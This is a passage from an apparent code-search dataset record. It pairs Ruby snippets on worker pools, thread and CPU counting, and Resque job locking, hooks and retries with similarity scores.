"def method()\n @workers.size\n end",
"def quantity\n @task_worker_lock.synchronize {@task_workers.size}\n end",
"def workers\r\n @workers ||= []\r\n end",
"def schedule_workers\n log(:debug, 'Schedule maximum number of workers to all available resource configurations')\n @resources_interface.get_available_resource_configurations.each do |configuration|\n log(:debug, \"#{configuration.inspect}\")\n @resources_interface.schedule_workers(Float::INFINITY, configuration)\n end\n end",
"def num_free_processors\n num_processors - processors_in_use\n end",
"def compute_workers(ncpus)\n return 0 unless Process.respond_to?(:fork)\n\n compute_workers_from_env(LISTENER_WORKERS) ||\n compute_workers_from_env(PUMA_WORKERS) ||\n ncpus * PUMA_WORKERS_CPUMULT\n end",
"def workers\n @@workers ||= []\n end",
"def work_queue_size()\n @work_queue.size\n end",
"def waiting_threads_count\n @waiting_threads_sleepers.length\n end",
"def get_queue_size\n if @number_of_processes\n @queueSize = @number_of_processes\n else\n @queueSize = DATSauce::PlatformUtils.processor_count * 2\n # get max threads from platform utils\n end\n @queueSize\n end",
"def maxcpucount\n case RbConfig::CONFIG['host_os']\n when /darwin9/\n `hwprefs cpu_count`.to_i\n when /darwin/\n ((`which hwprefs` != '') ? `hwprefs thread_count` : `sysctl -n hw.ncpu`).to_i\n when /linux/\n `cat /proc/cpuinfo | grep processor | wc -l`.to_i\n when /freebsd/\n `sysctl -n hw.ncpu`.to_i\n when /mswin|mingw/\n require 'win32ole'\n wmi = WIN32OLE.connect(\"winmgmts://\")\n cpu = wmi.ExecQuery(\"select NumberOfLogicalProcessors from Win32_Processor\")\n cpu.to_enum.first.NumberOfLogicalProcessors\n end\nend",
"def min_length\n @executor.getCorePoolSize\n end",
"def threads\n option :threads, DEFAULT_THREAD_AMOUNT\n end",
"def get_cpu_limit\n cpus = Parallel.processor_count\n env_cpus = ENV.fetch( 'SIMP_RAKE_LIMIT_CPUS', '-1' ).strip.to_i\n\n env_cpus = 1 if env_cpus == 0\n env_cpus += cpus if env_cpus < 0\n # sanitize huge numbers\n env_cpus = (cpus - 1) if env_cpus >= cpus\n env_cpus = 1 if env_cpus < 0\n\n env_cpus\n end",
"def max_threads=val\n\t\t\t@max_threads = val\n\t\tend",
"def pool_capacity; end",
"def pool_size\n @pool.pool_size\n end",
"def check_for_available_workers\n workers >= working_count\n end",
"def maximum_concurrency=(value)\n self.class.maximum_concurrency self, value\n end",
"def queue_count()\n @work_queue.size + super()\n end",
"def worker_pool; end",
"def worker_pool; end",
"def worker_pool(count, *queues_and_options)\n end",
"def thread_limit\n Rails.env.test? ? 0 : @thread_limit\n end",
"def processor_count; end",
"def processor_count; end",
"def maximum_concurrency_is_set?\n maximum_concurrency > 0\n end",
"def processors_count\n @processors.length\n end",
"def concurrent(limit)\n @concurrent = limit\n end",
"def running_workers\n pool_manager.workers.fetch(queues, {})\n end",
"def threads(min, max); end",
"def connection_pool_maximum_size\n super\n end",
"def waiting_threads_count\n @condition_variable.waiting_threads_count\n end",
"def waiting_threads_count\n @condition_variable.waiting_threads_count\n end",
"def waitlist_size\n @queue.size\n end",
"def concurrency=(limit)\n config('concurrency', limit)\n end",
"def throttle_exceeded?\n max_active_workers ? (input.active_count >= max_active_workers) : false\n end",
"def num_waiting\n end",
"def num_waiting\n end",
"def size\n @pool_mutex.synchronize { @pool.size } \n end",
"def user_threads_count\n user_threads_lock.synchronize do\n user_threads.count\n end\n end",
"def number_of_cpu_cores\n case RbConfig::CONFIG['host_os']\n when /linux/\n Dir.glob('/sys/devices/system/cpu/cpu[0-9]*').count\n when /darwin|bsd/\n Integer(`sysctl -n hw.ncpu`)\n when /solaris/\n Integer(`kstat -m cpu_info | grep -w core_id | uniq | wc -l`)\n else\n 5\n end\n end",
"def maximum_number_of_instances_are_running?\n list_of_running_instances.size >= maximum_instances.to_i\n end",
"def hadoop_num_tasks_args\n [\n jobconf(:max_node_map_tasks),\n jobconf(:max_node_reduce_tasks),\n jobconf(:map_tasks),\n jobconf(:reduce_tasks)\n ]\n end",
"def are_too_many_instances_running?\n nodes(:status => \"running\").size > maximum_instances.to_i\n end",
"def threads\n raise CapabilitiesExceeded\n end",
"def allow_concurrency; end",
"def allow_concurrency; end",
"def work_pool; end",
"def num_waiting\n @pop_mutex.waiting_threads_count + @waiter.waiting_threads_count\n end",
"def set_workers(app_name, qty)\n deprecate # 07/31/2012\n put(\"/apps/#{app_name}/workers\", :workers => qty).to_s\n end",
"def queue_length\n @executor.getQueue.size\n end",
"def maximum_number_of_instances_are_not_running?\n list_of_running_instances.size < maximum_instances.to_i\n end",
"def initialize(max_workers, max_jobs_per_worker)\n @max_workers = max_workers || MAX_WORKERS\n @max_jobs_per_worker = max_jobs_per_worker\n end",
"def threads\n @workers.collect{ |worker| worker.thread }\n end",
"def doGetMaxCountPerRequest()\n end",
"def active_on_cluster_count\n (waiting_count + running_count)\n end",
"def available_workers?\n true\n end",
"def worker_pool\n @worker_pool || @mutex.synchronize { @worker_pool ||= ActionCable::Server::Worker.new(max_size: config.worker_pool_size) }\n end",
"def worker_number=(worker_num); end",
"def idle\n @size - @active_threads.value\n end",
"def concurrency_available?\n return true unless maximum_concurrency_is_set?\n current_concurrency < maximum_concurrency\n end",
"def doGetMaxCountPerRequest()\n return MAX_COUNT_PER_REQUEST\n end",
"def queue_count()\n cnt = 0\n @tasks.each_value { |task| cnt += task.queue_count() }\n cnt\n end"
] |
[
"0.78265285",
"0.77832997",
"0.77803946",
"0.77778155",
"0.77778155",
"0.769567",
"0.769012",
"0.7684243",
"0.76138914",
"0.76138914",
"0.75484043",
"0.7505982",
"0.74906987",
"0.7482726",
"0.739314",
"0.7364452",
"0.72857696",
"0.7277578",
"0.7227471",
"0.7182431",
"0.71608233",
"0.7133942",
"0.712263",
"0.7089864",
"0.7066007",
"0.7064392",
"0.7031583",
"0.69725454",
"0.69644594",
"0.6914638",
"0.69082683",
"0.6908195",
"0.6890305",
"0.68898773",
"0.68716097",
"0.67800874",
"0.6770387",
"0.675132",
"0.6692657",
"0.6669497",
"0.6660197",
"0.66585493",
"0.6651431",
"0.6630042",
"0.6623054",
"0.6604623",
"0.6544861",
"0.65440947",
"0.6542744",
"0.6541769",
"0.65031314",
"0.6488568",
"0.64766866",
"0.6476487",
"0.6470414",
"0.6459567",
"0.6454938",
"0.6454938",
"0.6453464",
"0.6409586",
"0.6400091",
"0.6400091",
"0.6386461",
"0.63759595",
"0.63504416",
"0.6344872",
"0.6329085",
"0.6320132",
"0.63181394",
"0.63181394",
"0.6287256",
"0.62848413",
"0.6233044",
"0.62323636",
"0.62323636",
"0.62261564",
"0.62209105",
"0.6190053",
"0.6187318",
"0.61804456",
"0.61779416",
"0.6174028",
"0.6169901",
"0.6169901",
"0.611751",
"0.61029416",
"0.6088833",
"0.6081593",
"0.6081585",
"0.6076307",
"0.60695004",
"0.60507953",
"0.60450155",
"0.60433775",
"0.6038064",
"0.6034502",
"0.60185224",
"0.6009303",
"0.6005591",
"0.60017693"
] |
0.76391906
|
8
|
Called with the job args before perform. If it raises Resque::Job::DontPerform, the job is aborted.
|
def before_perform_workers_lock(*args)
if lock_workers(*args)
workers_lock = get_lock_workers(*args)
if Resque.redis.incr(workers_lock) <= concurrent_workers(*args)
Resque.redis.expire(workers_lock, worker_lock_timeout(*args))
elsif
count = Resque.redis.decr(workers_lock)
if count.to_i > 0 && Resque.redis.ttl(workers_lock) < 0
Resque.redis.expire(workers_lock, worker_lock_timeout(*args))
end
sleep(requeue_perform_delay)
Resque.enqueue(self, *args)
raise Resque::Job::DontPerform
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def before_perform_ensure_proper_worker(*args)\n if args.last.is_a?(::Resque::Worker)\n self.worker = args.last\n else\n raise \"Resque::Job#args has not been overriden to pass worker as last argument.\"\n end\n \n if required_worker_class && worker.class.name != required_worker_class\n raise ::Resque::Job::DontPerform\n end\n end",
"def before_perform_lock(*args)\n if lock_workers(*args)\n nx = Resque.redis.setnx(lock_workers(*args).to_s, true)\n if nx == false\n sleep(requeue_perform_delay)\n Resque.redis.del(lock_enqueue(*args).to_s)\n Resque.enqueue(self, *args)\n raise Resque::Job::DontPerform\n end\n end\n end",
"def before_perform_approve(*args)\n # Check if the job needs to be approved, and if so, do not enqueue it.\n job = PendingJob.new(SecureRandom.uuid, class_name: name, args: args)\n\n if job.approval_keys? && !job.max_active_jobs?\n ApprovalKeyList.new.add_job(job)\n\n raise Resque::Job::DontPerform, \"The job has not been approved yet.\"\n else\n job.max_jobs_perform_args(args)\n\n true\n end\n end",
"def before job=nil\n processing!\n end",
"def perform!\n Quebert.config.before_job(self)\n Quebert.config.around_job(self)\n\n # Honor the timeout and kill the job in ruby-space. Beanstalk\n # should be cleaning up this job and returning it to the queue\n # as well.\n val = ::Timeout.timeout(ttr, Job::Timeout){ perform(*args) }\n\n Quebert.config.around_job(self)\n Quebert.config.after_job(self)\n\n val\n end",
"def before_enqueue_lock(*args)\n if lock_enqueue(*args) == false\n return true\n else\n return Resque.redis.setnx(lock_enqueue(*args).to_s, true)\n end\n end",
"def perform!\n # Honor the timeout and kill the job in ruby-space. Beanstalk\n # should be cleaning up this job and returning it to the queue\n # as well.\n begin\n Quebert::Timeout.timeout(@ttr){ perform(*args) }\n rescue ::Timeout::Error\n raise Job::Timeout\n end\n end",
"def perform\n job = payload_class\n job_args = args || []\n job_was_performed = false\n\n begin\n # Execute before_perform hook. Abort the job gracefully if\n # Resque::Job::DontPerform is raised.\n begin\n before_hooks.each do |hook|\n job.send(hook, *job_args)\n end\n rescue DontPerform\n return false\n end\n\n # Execute the job. Do it in an around_perform hook if available.\n if around_hooks.empty?\n job.perform(*job_args)\n job_was_performed = true\n else\n # We want to nest all around_perform plugins, with the last one\n # finally calling perform\n stack = around_hooks.reverse.inject(nil) do |last_hook, hook|\n if last_hook\n lambda do\n job.send(hook, *job_args) { last_hook.call }\n end\n else\n lambda do\n job.send(hook, *job_args) do\n result = job.perform(*job_args)\n job_was_performed = true\n result\n end\n end\n end\n end\n stack.call\n end\n\n # Execute after_perform hook\n after_hooks.each do |hook|\n job.send(hook, *job_args)\n end\n\n # Return true if the job was performed\n return job_was_performed\n\n # If an exception occurs during the job execution, look for an\n # on_failure hook then re-raise.\n rescue Object => e\n run_failure_hooks(e)\n raise e\n end\n end",
"def before_perform_check_preconditions(*args)\n if args[-1].kind_of?(Hash)\n params = args[-1]\n else\n params = {}\n args << params\n end\n attempts = params['precondition_checks'].try(:to_i) || 1\n unless before_passed?\n attempts += 1\n if attempts > check_attempts\n error_message = \"Attempted #{self}, but preconditions were never met!\"\n Honeybadger.notify(:error_message => error_message, :parameters => {:args => args})\n else\n params['precondition_checks'] = attempts\n Resque.enqueue_in(retry_seconds, self, *args)\n Rails.logger.info(\"Pre-conditions for #{self} failed, delaying by #{retry_seconds} seconds.\")\n end\n raise Resque::Job::DontPerform\n end\n end",
"def perform(payload_class, args, hooks)\n @job = payload_class\n @job_args = args || []\n @hooks = hooks\n\n # before_hooks can raise a Resque::DontPerform exception\n # in which case we exit this method, returning false (because\n # the job was never performed)\n return false unless call_before_hooks\n execute_job\n call_hooks(:after)\n\n performed?\n end",
"def perform_with_worker_in_arguments(*args)\n args.pop if args.last.is_a?(::Resque::Worker)\n perform_without_modified_arguments( *args )\n end",
"def perform(*args)\n if Service.get_service.jobs_enabled?\n # Job processing is enabled.\n Delayed::Worker.logger.info \"---> running #{self.class}(#{args.join(',')}) on #{self.queue_name} at priority #{Process::getpriority(Process::PRIO_PROCESS, 0)}\"\n start_time = Time.current\n perform_if_enabled(*args)\n Delayed::Worker.logger.info \"<--- finished #{self.class} after #{time_ago_in_words(start_time)}\"\n else\n # Resubmit the job with the required parameters after the specified delay. If the inline adapter is being used, we just ignore this.\n Delayed::Worker.logger.warn \"**** job processing disabled for #{self.class}\"\n begin\n self.class.set(wait: DISABLED_RETRY_INTERVAL).perform_later(*args)\n rescue NotImplementedError => _e\n Delayed::Worker.logger.error \"**** no job queue available for future job #{self.class}\"\n end\n end\n end",
"def perform_without_dj\n begin\n before\n perform\n success\n rescue Exception => e # rubocop:disable RescueException\n error nil, e\n ensure\n after\n end\n save if persisted? && changed?\n end",
"def perform(*arguments)\n lock_until = acquire_lock!(*arguments)\n\n # Release loner lock as job has been dequeued\n release_loner_lock!(*arguments) if loner\n\n # Abort if another job holds the lock.\n return unless lock_until\n\n begin\n super(*arguments)\n ensure\n # Release the lock on success and error. Unless a lock_timeout is\n # used, then we need to be more careful before releasing the lock.\n now = Time.now.to_i\n if lock_until != true and lock_until < now\n # Eeek! Lock expired before perform finished. Trigger callback.\n lock_expired_before_release(*arguments)\n else\n release_lock!(*arguments)\n end\n end\n end",
"def before_enqueue_approve(*args)\n job = PendingJob.new(SecureRandom.uuid, class_name: name, args: args)\n\n if job.requires_approval?\n return false if job.compressable? && !job.compressed?(args)\n\n ApprovalKeyList.new.add_job(job)\n\n false\n else\n job.max_jobs_perform_args(args)\n\n true\n end\n end",
"def perform_later(*args, **options)\n __debug_job(__method__) { \"options = #{item_inspect(options)}\" } # TODO: remove\n job_warn { \"ignoring method args #{args.inspect}\" } if args.present?\n enqueue(options)\n end",
"def perform\n raise RuntimeError, \"Worker Implementations should override this\"\n end",
"def dry_run\n Job::run self\n end",
"def be_worker\n before_work\n super\n end",
"def re_enqueue\n BulkImportWorker.perform_in(PERFORM_DELAY, @bulk_import.id)\n end",
"def before_perform\n end",
"def perform\n begin\n data = RecoverJob.hash_strings_to_sym(options)\n job = RecoverJob.create_job_by_configuration(@uuid, data)\n job.execute\n rescue => e\n RecoverJob.logger.error(e.message)\n RecoverJob.logger.error(e.backtrace.join(\"\\n\"))\n # reraise exception so that caller (resque worker?) recognizes errors\n raise e\n end\n end",
"def perform\n begin\n # prepare the job\n prepare\n # check that everything is kosher\n check\n # run the job\n run\n # perform any post processing`\n clean_up\n rescue Exception => e\n PutMetricDataService.new.put_metric('DelayedJobErrorResponse', 'Count', 1)\n\n Rails.logger.warn e.message\n Rails.logger.warn e.backtrace\n Delayed::Worker.logger.warn e.message rescue nil # log to worker logger if available\n Delayed::Worker.logger.warn e.backtrace rescue nil # log to worker logger if available\n end\n end",
"def done_working\n super\n self.job = nil\n end",
"def on_before_enqueue\n return unless topic.long_running_job?\n\n # This ensures, that when running LRJ with VP, things operate as expected\n coordinator.on_enqueued do |first_group_message|\n # Pause at the first message in a batch. That way in case of a crash, we will not loose\n # any messages\n pause(first_group_message.offset, MAX_PAUSE_TIME)\n end\n end",
"def before_enqueue_kubernetes_job(*_args)\n return unless Resque::Kubernetes.enabled\n\n manager = JobsManager.new(self)\n manager.reap_finished_jobs\n manager.reap_finished_pods\n manager.apply_kubernetes_job\n end",
"def perform(job_serialization, *_extra_options)\n job_executions = job_retries < 1 ? 0 : (job_retries + 1)\n\n job_serialization.merge!(\n 'job_id' => job_id,\n 'queue_name' => job_queue,\n 'provider_job_id' => task_id,\n 'executions' => job_executions,\n 'priority' => nil\n )\n\n Base.execute job_serialization\n end",
"def try_perform_later(...)\n job = job_or_instantiate(...)\n\n result = job.enqueue\n\n yield job if block_given?\n\n return Failure(job) if result == false\n\n Success(job)\n end",
"def before_enqueue_check_lock_availability(*args)\n # Second condition handles the case when the job is already queueing\n # (was allowed to put in queue at the moment of scheduling), and now scheduler moves it\n # from future schedule to queue; if we'll not allow this, job will be lost.\n Resque.inline? || call_from_scheduler? || job_available_for_queueing?(args)\n end",
"def perform(job)\n load_actions\n Cyclop::Action.find_by_queue(job.queue).perform(*job.job_params)\n 0\n rescue Exception => e\n log e.to_s\n job.release! e\n 1\n end",
"def retry\n self.class.enqueue(\n object,\n method_name,\n *(args << {\n :job_options => {\n :parent_id => parent_id || id,\n :run_at => Time.now + times_failed ** 4,\n :priority => priority\n }\n })\n )\n end",
"def before_enqueue\n executor.before_enqueue(@messages, @coordinator)\n end",
"def perform(work, use_valkyrie: false) # use_valkyrie: Hyrax.config.use_valkyrie?\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if inherit_permissions_job_debug_verbose\n if use_valkyrie\n valkyrie_perform(work)\n else\n af_perform(work)\n end\n end",
"def perform!\n end",
"def done_working_with_restriction\n begin\n payload = job['payload']\n job_class = Resque.constantize(payload['class'])\n job_args = payload['args']\n job_class.release_restriction(*job_args) if job_class.is_a?(Plugins::Restriction)\n ensure\n return done_working_without_restriction\n end\n end",
"def perform\n # Do nothing\n false\n end",
"def before_schedule_check_lock_availability(*args)\n Resque.inline? || job_available_for_queueing?(args)\n end",
"def enqueue!\n return nil unless persisted?\n \"#{job_type.camelize}Job\".constantize.perform_later(self)\n end",
"def perform\n fail 'unimplemented perform'\n end",
"def before_perform\n \n @basename = File.join(job.job_dir, job.jobid)\n @seqfile = @basename+\".in\"\n params_to_file(@seqfile, 'sequence_input', 'sequence_file')\n @commands = []\n @informat = params['informat'] ? params['informat'] : 'fas'\n reformat(@informat, \"fas\", @seqfile)\n @informat = \"fas\"\n\n @maxpsiblastit = params['maxpsiblastit']\n @maxhhblitsit = params['maxhhblitsit']\n @ss_scoring = \"-ssm \" + params[\"ss_scoring\"]\n @ptot = \"-T \" + params[\"ptot\"]\n @pself = \"-P \" + params[\"pself\"]\n @mergerounds = \"-mrgr \" + params[\"mergerounds\"]\n @mact = \"-mapt1 \" + params[\"mact\"] + \" -mapt2 \" + params[\"mact\"] + \" -mapt3 \" + params[\"mact\"]\n @domm = params[\"domm\"].nil? ? \"-domm 0\" : \"\" \n \n @maxlines = \"20\"\n @v = 1\n \n end",
"def around_perform_insist(*args)\n if redis.get \"plugin:insist:wait:#{insist_key(args)}\"\n Resque.enqueue constantize(self.to_s), *args\n else\n begin\n yield\n redis.del \"plugin:insist:attempts:#{insist_key(args)}\"\n rescue => e\n attempts = redis.incr \"plugin:insist:attempts:#{insist_key(args)}\"\n if attempts.to_i >= insist_times\n redis.del \"plugin:insist:wait:#{insist_key(args)}\"\n redis.del \"plugin:insist:attempts:#{insist_key(args)}\"\n raise e\n else\n redis.set \"plugin:insist:wait:#{insist_key(args)}\", 1\n redis.expire \"plugin:insist:wait:#{insist_key(args)}\", wait_time(attempts)\n Resque.enqueue constantize(self.to_s), *args\n end\n end\n end\n end",
"def perform(*args)\n puts \"--------------------------\"\n puts \"---- Running Job ----\"\n puts \"--------------------------\"\n end",
"def enqueue(override = false)\n if self.job_id.nil? && !(self.last_fetch_at.present? && (Time.now - self.last_fetch_at) < UPDATE_TIME) && !override\n Delayed::Job.enqueue(ArtistWorker.new(self.id), 0, Time.now)\n self.job_id = Delayed::Job.last.id\n save\n end \n end",
"def perform(*args)\n puts \"--------------------\"\n puts \"Running a super awesome job\"\n puts \"--------------------\"\n puts \"this one right here.\"\n end",
"def work_exception(job_handle, data = nil)\n send_client :work_exception, job_handle, data\n\n job = worker_queue.dequeue job_handle\n job.status = \"Exception\"\n job.result = data\n job.save\n \n end",
"def enqueue\n # We need to save before passing to perform_later b/c perform_later will need our ID.\n # For this reason, the job_id col can't have a null constraint.\n save! unless persisted?\n job = job_class.constantize.perform_later(self, **job_params)\n update!(job_id: job.job_id, provider_job_id: job.provider_job_id)\n end",
"def enqueue_to(queue, job_class, *args)\n with_error_handling(\"Unable to enqueue #{job_class} job\", args: args) do\n Ladon.q.enqueue_to(queue, job_class, *args)\n end\n end",
"def execute(args)\n job_name = self.class.name_for(self.class)\n has_lock = Discourse.redis.setnx(running_key_name, Time.now.to_i)\n\n # If we can't get a lock, just noop\n if args[:force] || has_lock\n begin\n return if OnceoffLog.where(job_name: job_name).exists? && !args[:force]\n execute_onceoff(args)\n OnceoffLog.create!(job_name: job_name)\n ensure\n Discourse.redis.del(running_key_name) if has_lock\n end\n end\n\n end",
"def perform!\n if databases.any? or archives.any?\n procedures.each do |procedure|\n (procedure.call; next) if procedure.is_a?(Proc)\n procedure.each(&:perform!)\n end\n end\n\n syncers.each(&:perform!)\n notifiers.each { |n| n.perform!(self) }\n\n rescue Exception => err\n fatal = !err.is_a?(StandardError)\n\n Logger.error Backup::Errors::ModelError.wrap(err, <<-EOS)\n Backup for #{label} (#{trigger}) Failed!\n An Error occured which has caused this Backup to abort before completion.\n Please review the Log for this Backup to determine if steps need to be taken\n to clean up, based on the point at which the failure occured.\n EOS\n Logger.error \"\\nBacktrace:\\n\" + err.backtrace.join(\"\\n\\s\\s\") + \"\\n\\n\"\n\n if fatal\n Logger.error Backup::Errors::ModelError.new(<<-EOS)\n This Error was Fatal and Backup will now exit.\n If you have other Backup jobs (triggers) configured to run,\n they will not be processed.\n EOS\n else\n Logger.message Backup::Errors::ModelError.new(<<-EOS)\n If you have other Backup jobs (triggers) configured to run,\n Backup will now attempt to continue...\n EOS\n end\n\n notifiers.each do |n|\n begin\n n.perform!(self, err)\n rescue Exception; end\n end\n\n exit(1) if fatal\n ensure\n clean!\n end",
"def enqueue(job)\n enqueue_at(job, nil)\n end",
"def enqueue_in(delay, job_class, *args)\n with_error_handling(\"Unable to enqueue #{job_class} job\", args: args) do\n Ladon.q.enqueue_in(delay, job_class, *args)\n end\n end",
"def cancel_associated_job!\n return unless respond_to?(:background_job_ref) && background_job_ref.present?\n\n ref_parts = background_job_ref.split('%')\n valid_ref_cns = ['delayed__backend__active_record__job'].freeze\n valid_ref_cn = valid_ref_cns.select { |s| s == ref_parts.first }.first\n return unless valid_ref_cn\n\n job = valid_ref_cn.ns_camelize.constantize.find(ref_parts.last.to_i)\n job&.delete\n end",
"def queue_job; end",
"def success job=nil\n # ...could have gone error-free because errors were reported only in the record\n # NB: This is a pretty crude report. For more specific info, the model should throw the error\n # with a proper report, which will then get recorded in errors[:base]\n if relaunch?\n raise Exception, self.errors.full_messages # Make sure DJ gets the memo\n end\n self.status = (errors.present? ? :bad : :good) if processing? # ...thus allowing others to set the status\n self.dj = nil if good?\n if persisted?\n if changed? # && !bad? # By this point, any error state should be part of the record\n msgs = errors.messages.clone\n save\n msgs.each { |type, errs| errs.each { |err| errors.add type, err } }\n else\n update_attribute :dj_id, dj&.id\n end\n end\n end",
"def work_fail(job_handle)\n send_client :work_fail, job_handle\n\n job = worker_queue.dequeue job_handle\n job.status = \"Failed\"\n job.save\n\n end",
"def perform_with_tracking(*args)\n self.class.record_event(:dequeue)\n Rails.logger.debug \"Sidekiq perform: #{self} #{args} at #{Time.now}\"\n\n success = yield\n self.class.record_event(success ? :success : :failure)\n rescue\n self.class.record_event(:failure)\n raise\n end",
"def reset\n @async_command_aborted = false\n super\n end",
"def work\n if job = lock_job\n QC.log_yield(:action => \"work_job\", :job => job[:id]) do\n begin\n call(job)\n log(:action => \"finished_work\", :job => job[:id])\n rescue Object => e\n log(:action => \"failed_work\", :job => job[:id], :error => e.inspect)\n handle_failure(job, e)\n ensure\n @queue.delete(job[:id])\n log(:action => \"delete_job\", :job => job[:id])\n end\n end\n end\n end",
"def _run\n super.tap { reenqueue }\n end",
"def perform(*args, **opt)\n if is_a?(Class)\n job_warn { \"not a class method | args = #{args.inspect}\" }\n else\n set_arguments(*args, **opt)\n end\n end",
"def cb_perform_now(**opt)\n __debug { \"#{__method__} | opt = #{opt.inspect}\" } # TODO: remove\n receiver.job_class.perform_now(receiver, meth, **opt)\n true # TODO: return from #perform ???\n end",
"def requeue_perform_delay\n 1.0\n end",
"def requeue_perform_delay\n 1.0\n end",
"def trigger_requeue!\n false\n end",
"def cancel_job(job, error = false)\n report_success(job) if !error && job['on_success']\n report_error(job) if error && job['on_error']\n if JR.config[:remove_cancelled_jobs]\n storage.destroy(job)\n else\n job['status'] = 'cancelled'\n storage.save(job)\n end\n end",
"def do_trigger\n\n hit_exception = false\n\n begin\n\n @block.call @job_id, @at, @params\n\n rescue Exception => e\n\n @scheduler.send(:log_exception, e)\n\n hit_exception = true\n end\n\n if \\\n @scheduler.instance_variable_get(:@exit_when_no_more_jobs) or\n (@params[:dont_reschedule] == true) or\n (hit_exception and @params[:try_again] == false)\n\n @scheduler.instance_variable_get(:@non_cron_jobs).delete(job_id)\n # maybe it'd be better to wipe that reference from here anyway...\n\n return\n end\n\n #\n # ok, reschedule ...\n\n\n params[:job] = self\n\n @at = @at + Rufus.duration_to_f(params[:every])\n\n @scheduler.send(:do_schedule_at, @at, params)\n end",
"def perform(*args)\n\tend",
"def perform\n page_ref.ensure_attributes\n # Do we really want to fail/relaunch if the PageRef fails? Shouldn't that depend on the results?\n=begin\n if page_ref.bad?\n err_msg = \"Page at '#{page_ref.url}' can't be gleaned: PageRef ##{page_ref.id} sez:\\n#{page_ref.error_message}\"\n errors.add :url, err_msg\n raise err_msg if page_ref.dj # PageRef is ready to try again => so should we be, so restart via Delayed::Job\n end\n=end\n super if defined?(super)\n end",
"def do_workflow(message)\n raise \"Derived jobs must override do_workflow!\"\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def perform\n super\n end",
"def acknowledge\n @mutex.synchronize do\n return if @requeued || @acked\n\n Sidekiq.redis do |redis|\n redis.lrem(@queue.inproc, -1, @job)\n end\n\n @acked = true\n end\n end",
"def before(delayed_job)\n end",
"def reset!(*job_args)\n Sidekiq.redis { |conn| conn.del(key(job_args)) }\n end",
"def reset!(*job_args)\n Sidekiq.redis { |conn| conn.del(key(job_args)) }\n end",
"def after_perform_batch(id, *args)\n if remove_batched_job(id, *args) == 0\n \n after_batch_hooks = Resque::Plugin.after_batch_hooks(self)\n after_batch_hooks.each do |hook|\n send(hook, id, *args)\n end\n end\n end",
"def cb_perform_later(**opt)\n __debug { \"#{__method__} | opt = #{opt.inspect}\" } # TODO: remove\n receiver.job_class.perform_later(receiver, meth, **opt).present?\n end",
"def perform(*args)\n # *args means you can take an array of arguments.\n puts \"1.I'm starting the fake job\"\n sleep 5\n puts \"2.OK I'm done now\"\n puts \"3. BYEEEE\"\n end",
"def do_job(job)\n job['run_at'] = Time.now\n job['status'] = 'in progress'\n job['attempt'] += 1\n storage.save(job) do |job|\n begin\n args = job['args'].merge(JR.config[:merge_job_itself_to_args] ? {:job_itself => job.dup} : {})\n job.succeed(args)\n job['args'] = args\n job_completed(job)\n rescue CancelJob\n cancel_job(job)\n rescue Exception => e\n rescue_job(e, job)\n end\n end\n end",
"def perform(**task)\n raise \"No work defined! for this task: #{task[:body]}. Define #perform private method in your class\"\n end",
"def stub_idv_job_to_raise_error_in_background(idv_job_class)\n allow(Idv::Agent).to receive(:new).and_raise('this is a test error')\n allow(idv_job_class).to receive(:perform_now).and_wrap_original do |perform_now, *args|\n begin\n perform_now.call(*args)\n rescue StandardError\n # Swallow the error so it does not get re-raised by the job\n end\n end\n end",
"def perform\n gather_items.each do |item|\n begin\n Timeout.timeout(timelimit) do\n perform_job(item)\n end\n rescue Exception => exception\n raise exception if Rails.env.test?\n unless item.destroyed?\n report_exception(exception, item)\n retry_item(item)\n end\n end\n end\n if follow_on_job?\n queue_job(follow_on_priority, follow_on_delay.from_now, true)\n end\n end",
"def cancel_job(message, job_id = nil, step_id = nil, proc_id = nil)\n job_id = get_job_id(error = false) unless job_id\n if job_id and not step_id\n step_id = get_step_id(get_job_directory(job_id), error = false)\n end\n scancel(job_id, step_id) if job_id\n message = if proc_id\n \"Record Job Energy error in process #{proc_id} - #{message}\"\n else\n \"Record Job Energy error - #{message}\"\n end\n raise EnergyRecordError, message\nend",
"def reserve_and_run_one_job; end",
"def trigger_condition_met?(_job)\n true\n end",
"def cancel\n return unless incomplete?\n\n # Set the stop flag for all cases.\n self.stop = true\n\n # If the run has a delayed job and it hasn't been locked yet, or it\n # has failed, then we just remove it from the queue directly and\n # mark the run as cancelled.\n unless delayed_job.nil?\n delayed_job.with_lock do\n if delayed_job.locked_by.nil? || !delayed_job.failed_at.nil?\n delayed_job.destroy\n self.state = :cancelled\n self.status_message_key = \"cancelled\"\n end\n end\n end\n\n save\n end",
"def complete_rescue(job)\n if job['attempt'].to_i < JobReactor.config[:max_attempt]\n try_again(job)\n else\n job['status'] = 'failed'\n report_error(job) if job['on_error']\n if JR.config[:remove_failed_jobs]\n storage.destroy(job)\n else\n storage.save(job)\n end\n end\n end",
"def enqueue(jobs, args={}, o={})\n opts = [\n o[:pri] || default_pri,\n o[:delay] || default_delay,\n o[:ttr] || default_ttr\n ]\n\n jobs = [jobs.to_s] unless jobs.is_a?(Array)\n jobs.compact!\n raise ArgumentError, \"you need at least 1 job\" if jobs.empty?\n job = jobs.first\n\n beanstalk.use(job)\n beanstalk.yput({ :args => args, :next_jobs => jobs[1..-1]}, *opts)\n rescue Beanstalk::NotConnected => e\n raise e if defined?(r)\n r = true\n error exception_message(e, \"You have a problem with beanstalkd.\\nIs it running?\")\n @@beanstalk = new_beanstalk\n retry\n end",
"def disable_until_finished_or_interrupted; end",
